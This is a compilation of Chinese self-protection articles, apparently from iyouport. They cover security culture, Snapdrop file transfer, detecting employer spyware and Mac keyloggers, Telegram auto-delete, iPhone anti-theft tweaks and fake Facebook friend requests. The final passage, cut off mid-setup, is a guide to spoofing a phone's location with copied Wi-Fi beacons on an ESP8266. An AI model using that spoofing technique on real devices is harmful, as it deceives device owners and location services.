考虑建立签到/参与小组讨论的制度。要求群组成员定期重新判断自己在邮件列表或名单上的兴趣，并确保没有出现安全问题。📌 有些群组也可以选择对成员实行定期签到的要求 —— 如果在某段指定时间内没有收到某人的签到，可能表明存在安全漏洞。这在那些经常出现强迫失踪的国家来说，是很有必要的，如果您的群组成员被失踪，您需要做最坏的考虑，尤其是需要及时知道这件事。

📌 请记住。有时即使一个成员离开了群组，他们也会继续收到该群组的消息（由于软件故障）。如果该群组的信息是敏感的，某人离开此群组应被视为安全漏洞，该群组应立刻被烧毁。重建。

讨论敏感资料 —— 不论是过去的、现在的或将来的 —— 应该只在所有成员 *需要知道* 的基础上进行，而不是 “我相信你” 或 “我觉得这个很酷”。吹嘘、八卦和传言都是危险的行为，在您的行动中应该没有地位。

尤其是！具体的行动规划讨论应该面对面地进行 —— 决不要以数字方式进行！所有的数字安全都有弱点和漏洞。您越了解数字安全的弱点和局限性，您就越能保护自己。〇

原文

如何才能将文件从安卓手机”空投”到Mac和iOS - iyouport

自我保护措施-技术技巧以防身

【2020年11月3日】介绍一个比较好用的工具，而且相对安全。

将文件从 Android 设备传输到 Mac 或 iOS 设备并不总是简单或方便的，从 Mac 或 iOS 设备传输内容到 Android 设备也是如此。但有一个比使用USB电缆、电子邮件和云存储更好的方法，它能给您 AirDrop 的外观和感觉。

谷歌有一个名为 Android File Transfer 的文件传输工具，但您需要用USB线连接到电脑上，它并不总是很好用 (或者说根本就不好用)，而且它不支持 iOS。还有苹果公司的 AirDrop，但它只适用于苹果产品。像 HandShaker 这样的第三方服务需要您在所有设备上安装应用，而且很多也不支持iOS。

您可能要传输的只是一些普通的照片和电影，于是不会觉得云不安全，比如使用 Dropbox，它可以很简单地将文件添加到云端，这可以在您所有的设备上看到，并且可以制作可共享的链接。但是这完全取决于您的网络连接，所以如果您使用的是节流的Wi-Fi或处于蜂窝死区，就会有问题。而电子邮件，那就完全不方便了，而且还有文件大小的限制。

那么，更好的选择应该是什么呢？Snapdrop 就不错。下面简单介绍一下。

Snapdrop 的工作原理

「图」

Snapdrop 是一款 PWA(渐进式网络应用)，它利用网络浏览器和您当前所处的Wi-Fi网络将数据从一个设备发送到另一个设备。

它首先通过 WebSocket 使用TLS在线连接到一个信令服务器，这样设备就可以交换有关其媒体功能的信息。然后，如果确定两台设备可以根据需要协同工作，就会使用 WebRTC（Web实时通信）通过 DTLS 完成数据传输，将文件从浏览器发送到浏览器。

服务器仅用于确定两台设备可以协同工作，它不会对实际传输的文件有任何访问权限，因为这是使用 DTLS 从一台设备直接到另一台设备的点对点传输。而且由于它通过 HTTPS（使用 WSS 或 WebSocket Secure）使用TLS连接到服务器，数据是加密的。

但是，如果确定 WebRTC 在设备上的浏览器之间不起作用，则将转而使用 WebSocket 进行传输。WebSocket 只是一个代理，所以在传输过程中或通过服务器时，它不会存储任何东西，所以您不必担心您的数据会落入别人手中。如上所述，数据是加密的，所以传输是安全的。

步骤1：使用一个支持的浏览器

「图」

由于 Snapdrop 使用 WebRTC 和 WebSocket 作为后备协议，您需要使用支持其中一种通信协议的浏览器。

目前，所有浏览器都支持 WebSocket 协议，但支持 WebRTC 的浏览器包括 Google Chrome、Mozilla Firefox、Opera Mobile 和 Apple Safari。它还应该与基于 Chrome 的浏览器（如 Brave 和 Microsoft Edge）一起工作。

在 Android 设备和 Mac 上，使用任何一种浏览器打开网站。

但如果您要将文件传输到 iPhone、iPad 或 iPod touch上，您会希望使用iOS 13或更高版本的Safari。苹果阻止第三方iOS浏览器使用 WebRTC 作为安全防范措施，所以这些浏览器可能会使用 WebSocket。

在最好的情况下，您需要先在浏览器中打开文件，然后再下载文件，这不太方便，而且如果不是您可以实际使用的文件类型，就无法完全实现。

步骤2：打开Snapdrop

「图」

现在，将您的 Android 手机或平板电脑和 macOS 或iOS设备都连接到同一个 Wi-Fi 网络上。它们需要在同一个网络上才能在本地相互通信。然后，在兼容的网络浏览器中，访问以下链接。

https://snapdrop.net

打开网站，您会看到一个小小的雷达图像和一条信息，上面写着："Allow me to be discovered by: Everyone in this network"。这个符号看起来很像 AirDrop 的图标，信息也给人以这种错觉，不过与 AirDrop 不同的是，您无法将 "所有人" 改为 "仅联系人" 或 "无人"。

您的设备现在可以被同一网络上的任何人发现。不过，所有的文件传输都需要在接收端获得下载许可，所以至少在您没有看到的情况下，没有人可以给您发送有效载荷或其他受感染的文件。

步骤3：发送文件

「图」

在设备上选择要传输到另一台设备的文件，从 Android 到iOS到macOS看起来可能有点不同。但在某些方面，例如在您尝试一次发送多个文件时，所有功能都类似。与 AirDrop 不同的是，它们将一次传输一个，每个文件都需要在接收端获得权限才能单独下载。

另外，您只能在本地和在线发送文件。没有脱机方法，也没有与网络外部人员共享文件的方法。关于安全性，上面已经进行了介绍。

选项1：从 Android 发送到iOS或macOS

「图」

选择您要发送文件的设备，然后，在出现的选项中，选择 "文件"，打开文件浏览器。您也可以选择 "相机 "来马上拍照，或者选择 "相机视频" 来当场拍摄视频，但您需要分别授权使用您的相机或摄像头和麦克风。

这里只是用 "文件" 来传输一些已经有的东西，因为这样更安全。寻找并选择任何您想分享的文件 —— 大多数文件类型都支持 —— 然后传输过程就会开始。

传输完成后，接收设备上会出现一个弹窗，询问您是要下载文件还是忽略它。选择 “下载” 来完成这个过程。

对于 iPad、iPhone 或 iPod touch 用户来说，您会在 iCloud Drive 的 “文件” 应用中的 “下载” 文件夹中找到这些文件，除非您更改了默认文件夹。在Mac上，可以在您的 “下载” 文件夹中找到该文件。

下面是从 Android 到 Mac 的：

选项2：从iOS发送到 Android 或 macOS

「图」

选择 Android 设备或 Mac 电脑，在操作表中选择 “浏览” 或 “照片库”。前者会打开 “文件” 应用查看器，后者则会打开 “照片” 查看器查看图片和视频。您也可以使用 “拍摄照片或视频 “来实现，但您需要分别给您的相机或摄像头和麦克风赋予权限。用完后别忘了关掉权限。

在本案例中，使用 “浏览” 来传输存储在 iCloud 中的文件。寻找并选择任何您想要分享的文件 —— 大多数文件类型都支持 —— 然后传输过程就会开始。

传输完成后，Android 设备或 Mac 电脑上会出现一个弹窗，要求 “下载” 或 “忽略”。选择前者，将文件保存到 Android 上的 “下载” 文件夹或 macOS 上的 “下载” 文件夹。

选项3：从 macOS 发送到 Android 或 iOS

「图」

从雷达中选择 Android 或 iOS 设备，打开 Finder。找到并选择您想要发送的文件，然后双击它或选择 “Choose”。传输过程将立即开始，完成后 Android 或iOS设备上会出现一个弹窗。

在接收端选择 “下载”。如果下载到安卓设备上，您会在内置闪存盘的 “下载”文件夹中找到该文件。对于 iPad、iPhone 或 iPod touch 用户，除非您更改了默认文件夹，否则会在 iCloud Drive 的 “文件” 应用中的 “下载” 文件夹中找到该文件。

步骤4：添加到主屏幕（可选）

「图」

虽然 Snapdrop 并不是传统意义上的app，但它是一个PWA（渐进式网络应用程序），是一个网站，可以使用与 Play Store 和 App Store 中的应用相同的工具使其在移动设备上易于使用。

PWA 还可以添加到您的手机或平板电脑的主屏幕以及电脑的托盘上，因此您将始终拥有一个快捷方式来传输媒体和文件。

选项1：添加到Android主屏幕

「图」

在安卓系统上，无论您使用哪种支持的浏览器，过程都是差不多的。打开 Snapdrop 选择垂直省略号，选择 “添加到主屏幕”，然后 “添加”。

选项2：添加到iOS主屏幕

「图」

在 iPad、iPhone 或 iPod touch 上，您需要使用 Safari 将应用添加到主屏幕。打开 Snapdrop 选择共享按钮，选择 “添加到主屏幕”，然后选择 “添加”。

选项3：添加到 macOS Dock

「图」

对于 macOS，您需要使用谷歌浏览器，因为它是目前唯一支持桌面环境下 PWA 的浏览器。您可以通过两种方式之一来添加快捷方式。

第一种是选择右上方的菜单按钮（垂直的点），然后选择 “安装 Snapdrop”。在弹出的对话框中点击 “安装” 即可完成。

您可以通过书签栏中的 “应用” 链接或通过 chrome:*apps* 访问您的 *Chrome* 应用，然后点击 *“Snapdrop”*。 添加到 *Mac* 的*dock*中就简单多了。在打开 *Snapdrop* 应用的情况下，将其从末端拖到左边的固定位置。然后您就可以随时从那里访问它了。 ○ *‘Airdrop’ Files from Android to MacOS or iOS Devices (& Vice Versa)* 原文

如何查找您的雇主安装在计算机上的间谍软件，以及如何处理 - iyouport

自我保护措施-技术技巧以防身

【2020年4月17日存档】没有法律能保护你，你必须自己保护自己。

没错，《你的老板可能是比 Facebook、谷歌更大的老大哥》。越来越多的雇主和IT部门采取极端方法来监视员工，这是当前劳工权益领域最大的议题，因为没有法律能限制雇主的间谍行为。

作为雇员，您可能无法更改您所在公司的政策，但是至少可以自行检查是否受到了监视以及如何受到监视的。

显然，这方面无法提供一份万能的指南，因为我们不了解每家公司的内部运作情况，但是我们可以告诉您一些最佳的方法，以了解您的公司是否在计算机上安装了任何间谍软件，以及处理这种情况的选项。

无论您是否认为这是公平的，根据美国法律，雇主可以在公司硬件上监视员工，甚至在某些情况下记录击键那种黑客行为也是合法的。

虽然雇主有可能会通知员工正在进行的监视，但 “知情” 仅在少数地区是必需的，因此，监视很可能在您不知情的情况下发生。

如果您已经被告知正在受到监视，那么就不需要本指南了。您甚至可以直接在屏幕一角看到正在运行的监视软件。

如果您没有被告知，检查的最佳方法就是查看Windows系统上正在运行的内容，您可以使用 **Ctrl** + **Shift** + **Esc** 进行调用（或通过在任务栏中进行搜索）。

切换到 “**Processes**” 选项卡：大多数有价值的间谍软件都可以在“应用程序”列表中隐藏，但请检查后台进程，尤其是对于占用大量系统资源的程序。

通过网络快速搜索您不认识的任何东西，可能会发现一个或两个已知间谍软件应用程序的名称 —— 通过您的私人电话进行搜索，不能使用公司 **wifi**。

“**Start-up**” 选项卡也值得研究：每次计算机重新启动时，都需要将监视软件加载到内存中，因此应在此处列出。同样，您可以查找所有无法识别的晦涩名字，那也许是可疑的东西。

通过 Windows 命令提示符，您可以检查哪些应用和实用程序正在访问Web。在任务栏中搜索“ cmd”，然后在结果中右键单击“**Command Prompt**”，选择“以管理员身份运行”（也许行、也可能无法在公司计算机上执行此操作）。

现在您正在查看的是从计算机访问互联网的所有可执行文件（程序）。同样，可能需要做一些侦探工作才能识别出奇观的东西 —— 不仅是标有“ chrome.exe”或同样易于理解的内容。

另一种选择是在计算机上运行某种按需的防病毒软件或反间谍软件程序包，但是如果在公司计算机上可以安装的内容有限，显然会遇到问题。并且，某些监控工具可以通过这种方式被检测到，而有些则无法检测；不论如何如果您有权安装的话，值得一试。

Emsisoft Emergency Kit 是其中值得选择的一种，因为它免费、轻巧且易于运行。再比如趋势科技的 HouseCall 也可以，但它更适合于试图造成实际损害的那种恶意软件，而不是我们在此谈论的雇主间谍软件。

SuperAntiSpyware 是另一个有效的程序，它是免费的可运行手动扫描。

如果您的雇主给您的机器不是 Windows 而是Mac，原理也是相同的。使用 Activity Monitor 代替 Task Manager，可以从 Spotlight 搜索中调用（点击 **Cmd** ＋ **Space** 即可调出 Spotlight）。

尽管网络也值得检查，但“CPU”选项卡是一个不错的起点：在这里，您可以看到在macOS上运行的所有内容，因此，您可以挑选出自己了解的所有应用和实用程序，以及那些可疑的应用程序和实用程序。

如果其中有您无法确定的东西，请通过自己的手机（不要连接公司网络）或回到家后对它们进行搜索。

要检查哪些应用程序正在使用macOS启动，您需要前往其他地方。在

Apple菜单中，单击系统偏好设置，然后单击 **Users & Groups**. 在您的用户名下方，您会看到一个登录项标签，其中会显示在重启时始终启动的程序。

间谍程序在这里并不总是可见的，但是您可能会看到一些东西。

然后打开终端，在这里有很多选择，但是尤其需要提到的是 OSXDaily 一个简单而有用的选择：Type: [lsof -nPi | cut -f 1 -d “ “| uniq | tail -n ＋2] 查看在线的每个应用程序的名称。

与 Windows 一样，还有第三方应用程序可以帮助您进行间谍软件搜寻。

前面提到的趋势科技 HouseCall 可在Mac上使用，并且可以为您进行简单的按需扫描，当然，免费的 KnockKnock 也值得拥护：它可以找到随macOS启动的应用程序，以及您可能不知道的插件、脚本、扩展和其他加载项，从而使其成为出色的间谍软件猎人。

还值得一提的是一个名为 EtreCheck 的很棒的小程序，它可以在Mac的内部进行窥视，以报告硬件和软件问题以及您可能不知道的任何不受欢迎的软件。它可以标记其他实用程序可能未发现的潜在可疑问题。

CleanMyMac X 的价格为90美元（或每年40美元），但这是一个非常全面的清理、维护和安全程序，可以确保Mac安全并在未来几年内保持最高速度。

但是，与Windows一样，您可能无法在公司Mac上安装自己的软件。这是个问题。

雇主/雇员之间的关系可能很棘手，也许您仍然需要做很多工作来考虑这件事。如果您确实怀疑在不知情的情况下已被安装了某些内容，那么以上提示应该有助于您进行查找。

必须说，如果您确实发现了间谍软件，那么您所处的位置可能比不知道时更加尴尬。因为在美国没有法律保护你，中国在这方面什么情况我们不知道，但任何情况都不值得惊讶了。

⚠您唯一能做的是就是不要把与自己私人的任何想法和需求带入公司的电子设备、包括网络！不要用公司网络连接私人手机！还有一系列自我保护措施，详见《你的老板可能是比 Facebook、谷歌更大的老大哥》。〇

原文

如何检查MacOS上的恶意软件和键盘监听程序 - iyouport

自我保护措施-技术技巧以防身

【2020年7月2日存档】非常简单的工具，任何人都可以使用。

虽然您可能怀疑您的 MacOS 已感染了恶意软件，但可能很难确定。本文来说说这件事怎么做。

发现恶意程序的一种方法是查找可疑行为，例如 恶意程序在键盘输入时监听。

借助免费的 MacOS 工具 ReiKey 和 KnockKnock，您可以检测可疑程序，以发现潜伏在系统中的键盘监听和其他持久性恶意软件。

键盘监听或恶意软件可以通过多种方式最终出现在MacOS系统上。它可能来自受感染的文件、USB Rubber Ducky 黑客等等。

重视个人隐私的任何人都应该关注确保您的通信不会被恶意拦截。那么 MacOS 究竟有多少恶意软件？

适用于MacOS的恶意软件

「图」

创建 MacOS 安全工具的前国家安全局黑客 Patrick Wardle 研究了为 Apple 设备编写的恶意软件。Patrick 在其网站上托管了 MacOS 恶意软件的实时样本供研究人员研究，在野外发现的各种恶意软件令人震惊。

对 keyloggers 的简单搜索就可以找到五种用于 MacOS 设备的键盘监听恶意软件。

这就提出了一个挑战：既然键盘记录程序至少具有五种不同的风格，

我们如何防御所有这些不同类型的恶意软件？

Wardle 的答案是搜索诸如键盘记录程序之类的恶意程序的行为，而不仅仅是搜索程序本身。

例如，一个键盘监听器从您的键盘上窃听了事件流，从而使攻击者可以截获受害者键入的每个键。这将使他们能够获知帐户密码、拦截通信等。

但是，要真正生效，这些程序必须在您登录计算机后立即运行。这意味着恶意程序通常会永久安装，不需要受害者每次都误点击恶意文件。

ReiKey 和 KnockKnock 可以检测新型恶意软件

「图」

首先，ReiKey 允许您搜索键盘监听器的最基本特征之一：深入键盘流窃听的程序。寻找键盘流访问功能将使您能够警觉到系统上安装的所有键盘监听器，而不仅是防病毒程序可识别的键盘监听器。

此外，由于键盘监听器也将永久安装，因此您可以使用另一个名为 KnockKnock 的免费工具来发现它。

运行 KnockKock 时，它将持久安装的程序分为易于理解的类别。包括恶意软件通常会用来持续运行的程序类型：浏览器扩展、启动项、内核扩展和插件。

扫描系统后，KnockKnock 将识别每个永久安装的项目并检查是否已在 VirusTotal 中进行了标记。

如果恶意程序潜伏在您的系统中，则可以通过单击 “Info” 图标来进一步研究细节。

如果您发现由 VirusTotal 标记的文件并且看起来可疑，这充分表明您的系统已受到恶意软件、广告软件或其他有害程序的破坏。

下面测试下这些程序，看看可以在 Mac 上找到什么。

您需要什么

「图」

要使用 KnockKnock 和 ReiKey，您只需要一个最新版 MacOS 系统来安装它。您还需要互联网连接和浏览器才能下载安装程序。

第一步：从 Objective-see.com 下载工具

「图」

首先，在 Objective-see.com 上导航至 ReiKey 的产品页面，然后在页面左上方的 ReiKey 图标下找到下载链接。

下载安装程序并解压缩。双击 “ReiKey Installer.app” 文件以启动安装。

第二步：安装 ReiKey

「图」

安装程序打开后，只需点击 “安装” 按钮即可在 MacOS 系统上安装 ReiKey。

安装完成后，点击 “下一步” 以关闭安装程序。现在，您的任务栏中应该有一个 ReiKey 图标。

点击任务栏中的 ReiKey 图标，然后点击 “首选项”。您可以在其中访问配置选项，允许您设置是否在登录时运行该程序，在状态栏中使用图标运行，以及在扫描时是否忽略 Apple 的程序。

当我运行 Python 键盘记录程序时，在设备上收到以下警报。

「图」

第三步：扫描键盘监听器

「图」

现在已经安装并配置了 ReiKey，可以运行扫描了。

再次点击状态栏中的 ReiKey 图标，这一次点击 “扫描” 选项。将会弹出一个窗口，显示扫描结果，显示是否有程序正窃听你的键盘。

在这里可以看到进程。如果您在此处看到某些内容，则意味着某个程序正在监听您的每次按键。

第四步：安装 KnockKnock

「图」

接下来将安装 KnockKnock 来查找持久性恶意软件。为此，请导航至“ KnockKnock” 页面。在左上角找到该应用的下载图标。

下载 KnockKnock 后，您可以直接运行它而无需安装。

第五步：扫描您的MacOS系统

「图」

运行下载的 “KnockKnock.app” 文件，然后将打开以下窗口。

首先，单击箭头图标以启动扫描。如果您正在运行最新版本的 MacOS Catalina，则扫描过程将需要您授予它访问各种文件夹和程序的权限。

扫描系统中的文件后，将显示一个持久安装的程序列表。

可能会永久安装很多不是恶意的东西，因此请仔细检查每个结果以查看是否可以识别该程序。例如，如果您有未使用或无法识别的浏览器扩展，那么最好删除它们，不管它们是什么。

还可以识别具有可疑状态的程序。在这里，看到一个永久安装的脚本是未签名的，如解锁图标所示。

如果想仔细看一下，可以单击 “Info” 图标以显示更多详细信息。

第六步：检查可疑的东西

「图」

如果想仔细查看文件，可以通过点击 VirusTotal 分数来完成。分数将显示检出率和报告链接。如果要再次提交文件，请点击 “重新扫描”

。

重新发送将使您可以访问详细的报告。在这里，看到了发现的先前标记为未签名的 “Tor” 程序的检测报告。

看起来该文件不是恶意文件。但是如果确实是恶意文件，那说明您的工作很有效。

键盘监听程序和持久性恶意软件可能是一个严重的问题

「图」

普通的 MacOS 用户可能难以识别自己计算机上的恶意软件。借助 ReiKey 和 KnockKnock，可以在安装后立即检测行为不佳的软件。

如果您担心合作伙伴安装键盘监听程序、雇主对您的计算机进行监视、或者不必要的广告软件在周围闲逛并消耗内存，那么使用这些工具可以轻松地使 MacOS 系统免受间谍软件和持久性恶意软件的侵害。〇

原文

如何自动删除所有telegram消息 - iyouport

自我保护措施-技术技巧以防身

您知道，我们不推荐Telegram作为通信渠道，Telegram唯一的用途是频道。但依旧有很多社区喜欢使用它，那么您最好做一些防护

将您的信息设置为 “自动删除” 是非常好的，因为它一举两得：您的各种应用程序和社交网络不会被不再重要的对话所堵塞，您也不必担心将您的信息永远放置在那里所带来的隐私问题。Telegram 可以自动删除旧信息。

要开始使用这个功能, 确保您已经更新到最新版本的 Telegram for Android或iOS, 然后启动应用程序，并拉出一个对话。在Android上, 点击三点图标, 选择 “清除历史记录”, 并选择您想要的持续时间.

在iOS系统中，长按群聊中的任何信息。您会看到一个选项来 “选择” 该消息。点击它，然后点击左上角的 “清除聊天”。然后你您会得到这样的提示。

点按 “启用自动删除”，您将可以选择在一天或一周后所有成员中聊天消息是否消失。

无论您选择什么平台上，您的群聊都会自动通知所有人，消息现在将被自动删除。

就是这样。建议启用这个功能，因为，说实话，您有多少次回过头来看那些旧信息？如果您认为您需要参考一些东西，仍然可以随时在消息消失之前进行截图。而喜欢您的旧消息的人往往都不怀好意。

如何创建限时的**Telegram**邀请链接

Telegram 的更新还增加了限时邀请功能。这个功能意味着您可以向各种群组和频道发送邀请，而不用担心这些链接会让任何找到它们的人永远访问您的聊天记录。

要开始 (至少在iOS上), 拉出一个群组或频道, 点击右上角的图标, 然后点击添加成员。点选通过链接邀请到群组，然后点选管理邀请链接。点击创建新链接，然后您就可以通过设置时间段（一小时到一周）、有效期或用户数量来限制人们使用该链接的次数。

就是这么简单。但必须说，**Telegram**的群组是不加密的，您不应该使用自己的手机号加入群组，也不应该让手机号可见和可搜索；尤其是，不应该在群聊中说任何重要的信息！比如行动方案策划等。您和您的队友可以通过 **Telegram** 群组交流感情，但必需所有人都能遵守《安全文化》，这可以抵御绝大多数渗透和监视的威胁。〇

原文

如何让您的 iPhone 能够防小偷 - iyouport

自我保护措施-技术技巧以防身

【2020年7月9日存档】包括偷拍小偷以取证。

丢失或被盗这种事可能随时会发生。被盗 iPhone 的OLED显示屏组件、框架和充电端口等零件在黑市上价格较高。更糟糕的是，如果有人要窃取您的手机，他们只需将其关闭即可避免使用诸如 “Find My iPhone” 之类的防盗功能。

尽管您的 iPhone 防御也许能抵挡未经授权的访问，但 iOS 仍然存在可以被任何人关闭的固有弱点，这实际上使您无法拨打丢失的电话或跟踪手机。

为了解决这个问题，jailbreak 越狱社区进行了许多调整，其中一些可以保护您的 iPhone 免受意外关机的影响。挑选两个功能齐全的方法介绍一下。

方法一：PowerGuard

「图」

PeterDev 的 PowerGuard 是一项简单的调整，可以保护 iPhone 免受未经授权的关机。它可以通过 Touch ID、FaceID、PIN 或密码来保护 iPhone 的电源菜单（“滑动以关闭电源” 栏）。

安装后，在 “设置” 中的 “PowerGuard” 菜单中启用。之后，选择您的选项，它会自动进行调整，无需重新设置。

不幸的是，这种调整并不能阻止其他人强制重启您的 iPhone，因此请记住这一点。

方法二：PickPocket 3

「图」

PickPocket 3 是另一个免费的解决方案，可以很好地保护 iPhone 免受未经授权的关机等影响。除了启动关机的标准 TouchID / FaceID 和密码要求之外，ziph0n 还具有巧妙的其他功能，可以进一步增强安全性。

这些功能包括在控制中心内禁用对飞行模式的访问权限，并设置伪造的关机来欺骗可能的小偷。

虽然它不能完全阻止硬重置，但它具有 “Fake Hard Reset” 选项，可以模拟操作以减少重置设备的机会。

PickPocket 3 也可以设置为响起警报或自定义语音、对小偷进行秘密拍照、如果您设置了这些它可以通过短信和电子邮件通知您，还有去除不必要的SIM卡、错误的密码或PIN尝试等等。

您甚至可以在锁定屏幕上显示您的联系信息，以便当好心的人发现丢失的 iPhone 时可以与您联系。

它是完全免费使用的，因此，如果您想尝试 PickPocket 3，请确保将 repo.ziph0n.com 添加到 Cydia 或 Sileo 的“源”页面中。〇

How to Prevent Thieves From Turning off Your iPhone

原文

如何识别 Facebook 上的假朋友请求 - iYouPort

你的反乌托邦在线生活阴云密布自我保护措施-技术技巧以防身

随着 Facebook 等社交网站的使用量的增加，潜行者和恶意者向您发送朋友请求的可能性趋势也在增加。通常，许多人发送的朋友请求采取的是伪装身份，这使得接受他们的请求会变得很危险。

因此，你首先需要确定刚刚添加您的人是否真的是他们通过个人资料图片展示的那个人，还是他们只是在假装成其他人？

虽然可能没有直接的方法来确定刚刚向您发送朋友请求的帐户是否是真实的，但是，有一些提示或标记可以突出显示以识别此类虚假请求，避免任何类型的损害。

——为什么有人会在 Facebook 上向您发送假请求——

世界上有各种各样的人，这就是为什么一些假的朋友请求可能是无害的，人们只想成为你的朋友而没有任何理由。但是另一方面，有些人的确是有目的的，这可能对您或周围的任何人都有害，比如社交工程师。我们曾经分析过一个通过 Facebook 榨取信息的假朋友案例，在这里看到《人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题》

以下是任何人可能向您发送虚假请求的原因列表：

纠缠者将您添加为“朋友”的主要原因是获取您在 Facebook 个人资料中隐藏的信息，并且只有将其添加到您朋友的列表中才能访问。这些纠缠者可能对您有害，并可能使用您的个人数据敲诈您、或让您在压力下被迫为他们做事。

- 骇客：骇客只想破解。他们将你添加为朋友的唯一原因是让你点击可能出现在你的新闻源上的恶意链接，这些恶意链接会被更多人错误地点击，骇客通常会实现他们在互联网上传播恶意软件的目标。

- Catfishers：这些人的唯一目标是通过展示他们挑选的漂亮的个人资料图片来引诱无辜的人陷入他们的圈套。这些人可能会有危险，因为他们可能会让您参与有害的和危险的活动。
- 您生活中的所有 Ex：死缠烂打的 Ex 向您发送假朋友请求的可能性很高，只是为了检查您是否接受陌生人的请求以及您是否忽略了他们原来的朋友请求。他们可能会制作一个虚假账户，通过虚假的个人资料对您进行监视。
- 目前的合作伙伴：这就像是一种监视伴侣的方式。合作伙伴通过向您发送虚假的朋友请求来测试您的忠诚度。如果你没有接受这个虚假账户的朋友请求，你可能会很幸运。这几乎就像是一个秘密任务，你越擅长保护自己就越能占据上风优势。
- 警察：美国警察经常这么做，以渗透 Facebook 上的人权运动组织，我们曾经介绍过这点。虚假的个人资料实际上是警察暗线获取您的信息的方式，只有当他们是您的朋友时才可以访问这些信息。也就是袜子木偶，我们介绍过袜子木偶的制作方法，它不仅被警察线人钓鱼使用，而且可以作为民间活动家实施深度调查的基本功，详见《某些行动者，你需要一个袜子木偶》

——有什么迹象可以知道那是个假的朋友请求？——

以下是一些猜测朋友请求是虚假还是真实的标志和线索，它们应该结合使用。

– 寻找共同的朋友。假请求的最大和最重要的标志是和您没有共同朋友。虽然您有可能面对面地遇到了这个人，但却无法通过显示图片回想起他们的外表。但是，请求是假的可能性更高，因为如果你们之前没有共同的朋友或者此人之前没有见过你，为什么会加你呢？

⚠ 不过必须强调，这一判断奏效的前提是：你所有朋友都和你一样有警惕性。如果他们没有足够的警惕性，该假账户可以在赢得一圈人的添加后再来骗你，这时候就是“有共同朋友”的姿态了！我们经常能发现疑似五毛账户和著名中国异议人士存在强连接关系，这是非常危险的。

我们理解，有可能中国异议人士无条件添加任何人的原因只是他们希望自己的思想被更多人看到。但事实上这也是为水军和其他恶意行为者打开了大门。他们有很多方式可以在潜伏许久后伤害你。

- 最低至没有 Facebook 历史资料或信息，也就是说，它是一个

新账户。使用虚假个人资料发送虚假请求的人通常会将他们的 Facebook 个人资料限制在非常有限的图片中。当然需要排除那些注重隐私安全的用户，他们通常很谨慎地分享个人资料。总之这一条要和上述结合考虑。
- 分析此个人资料的“好友”。虚假的个人资料持有者经常很少有“朋友”，或者很专注于与你的性别相同的性别。

下次再收到朋友请求时要非常小心，并确保在接受朋友请求之前彻底检查发送者的个人资料。

How to Identify a Fake Friend Request on Facebook? there are a few tips or signs which can be highlighted to identify such fake requests to avoid any sort of damage.

原文

如何通过欺骗Wi-Fi热点来更改手机坐标 - iyouport

hacktivist技术-攻击防御和反抗自我保护措施-技术技巧以防身

【2020年10月16日存档】操纵手机认为它自己在您想要的地方。

在许多城市地区，GPS并不能很好地工作。高大的建筑物会反射GPS信号，给手机造成混乱。

因此，大多数现代设备使用混合技术来进行地理定位，包括附近的Wi-Fi 网络。

于是，通过使用 SkyLift 创建已知在其他区域的假网络，您就可以通过 ESP8266 单片机来操纵手机 “认为” 自己在哪里。

对于访问GPS受限的设备来说，Wi-Fi 网络是寻找设备位置的可靠途径。黑客可以通过广播看似来自已知网络的信号来利用这个缺陷。

虽然这种策略在有很多其他Wi-Fi网络或清晰的GPS信号的地区不起作用，但在强制智能设备依赖 aGPS 的场所却非常有效。

智能设备如何进行地理位置定位？

「图」

定位设备的问题并不新鲜，除了GPS之外，大多数智能设备都有一系列的选择可以用来确定它的位置。它可能涉及到手机信号塔等东西，这些信号塔不会移动，对于确定用户的相对位置很有用。

随着对GPS设备的需求开始增加，辅助GPS/aGPS，成为了设备克服传统GPS锁定所需的较长信号采集时间的一种方式。

为了帮助解决寻找GPS信号很少或没有的设备在哪里的问题，大多数智能手机不断记录附近Wi-Fi网络的位置。这些信息将添加到由多个

用户进行地理定位的庞大的位置网络数据库中，提供确定设备所处的Wi-Fi网络所在位置所需的信息。

这对熟悉战争驾驶 (Wardriving)的人来说应该不会感到惊讶，因为像Kismet 这样的项目已经做了相当一段时间了。Wigle.net 项目可以让黑客上传数据，并确定每个网络的位置，如果设备进入已知位置的网络范围内，就可以轻松识别设备可能在哪里。

aGPS和传统GPS锁定的区别在于，使用aGPS，设备会调用API，根据附近Wi-Fi网络的名称、MAC地址和信号强度与已知的地理标签网络数据库进行对比，得出自己的位置。

那么如何欺骗aGPS？

「图」

现在您已经知道了aGPS的工作原理，可以开始寻找操纵它的方法了。最明显的方法之一是简单地找到相比传统GPS更依赖于 aGPS 的区域来确定位置。

它可以是任何有房顶的地方，也可以是GPS信号无法穿透的建筑物或停车场深处。这些条件迫使智能设备依靠不太精确的数据来寻找自己的地理位置，比如附近的任何Wi-Fi网络。

一旦您能强迫智能手机进入一种状态，让它们更多的依靠aGPS而不是GPS来确定自己的位置，利用一个名为 SkyLift 的项目，您就可以使用以前记录的地理位置广播网络的Wi-Fi信标帧，开始迷惑设备。

只有在竞争网络很少的情况下，它才会起作用，比如在建筑物密集的城市地区。

如果处于一个绝佳的位置，就可以迫使手机使用aGPS来确定自己在哪，还可以选择您想要欺骗它相信的特定位置。

为此，您可以访问该站点并记录Wi-Fi流量，也可以使用 Wigle.net 来查询要欺骗的位置上存在哪些网络，然后复制网络详细信息。

您需要什么

「图」

要遵循本指南，您需要一个基于 ESP8266 的微控制器，从 D1 Mini 到 NodeMCU 都可以，可以在网上找到非常便宜的。对于MCU的设置，你需要一个面包板、跳线、Micro-USB 电缆，以及Wi-Fi天线和SMA电缆。

本指南将不再详细介绍如何组装MCU，这里有很多指南您可以参考。

- D1 Mini Board: Buy on Amazon (Alt) | AliExpress
- Or a D1 Mini Board with Antenna: Buy on Amazon | AliExpress
- Or a NodeMCU Board: Buy on Amazon | AliExpress
- Micro-USB cable: Buy on Amazon | AliExpress (Alt)
- Breadboards: Buy on Amazon | AliExpress
- Breadboard jumper wires: Buy on Amazon (Alt)
- Antenna w/Cable (if not included with the board): Buy on Amazon

您还需要安装 Arduino IDE 的可连接互联网的计算机，将使用它来对微控制器进行编程，并使用 Micro-USB 数据线将 ESP8266 连接到计算机以进行供电和编程。

步骤1：将 ESP8266 添加到 Arduino

「图」

这里将使用免费且跨平台的 Arduino IDE，这将使您能够快速构建所需原型。

您可以从官网下载 Arduino IDE。安装完成后，您需要点击 “Arduino” 下拉菜单，然后选择 “Preferences”。接下来，将下面的URL粘贴到 “附加板管理器URLs” 字段中。

```
http://arduino.esp8266.com/stable/package_esp8266com_index.json
```

完成后，单击“确定”关闭菜单。

